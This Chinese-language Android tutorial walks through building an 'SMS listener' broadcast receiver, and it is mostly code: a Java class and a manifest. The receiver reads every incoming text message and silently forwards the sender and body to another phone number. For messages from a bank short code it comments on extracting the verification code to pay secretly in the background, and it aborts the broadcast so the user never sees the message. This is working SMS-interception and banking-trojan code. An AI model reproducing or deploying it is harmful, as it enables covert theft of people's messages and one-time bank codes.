
有时候,我们需要开发出来一个短信监听器,监听用户发送的短信记录,下面就是一个案例,这里同样需要使用广播机制。
下面同样是代码示例,MainActivity.java 和 activity_main.xml这里不做什么编程操作。
1.第一步,还是老样子,我们需要买一个收音机:
package com.itheima.smslistener; import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage; public class SmsListener extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
System.out.println("短信到来了。");
//objs里面存放的就是一组短信
Object[] objs = (Object[]) intent.getExtras().get("pdus");
for(Object obj:objs){
//得到每一条短信数据
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);
String body = smsMessage.getMessageBody();
String address = smsMessage.getOriginatingAddress();
System.out.println(body);
System.out.println(address);
//将获取短信数据(address+"--"+body)发送到5556手机(这里是模拟器),sendTextMessage()方法最后两个参数为null,表示没有发送和接收短信通知
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage("5556", null, address+"--"+body, null, null);
if(address.equals("95533")){
System.out.println("提取验证码,偷偷的后台支付");
abortBroadcast();
}
}
}
}
2.第二步和第三步是:装电池 和 调频道:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.itheima.smslistener"
android:versionCode="1"
android:versionName="1.0" > <uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="17" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/> <application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.itheima.smslistener.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity> <receiver android:name="com.itheima.smslistener.SmsListener" >
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver> </application> </manifest>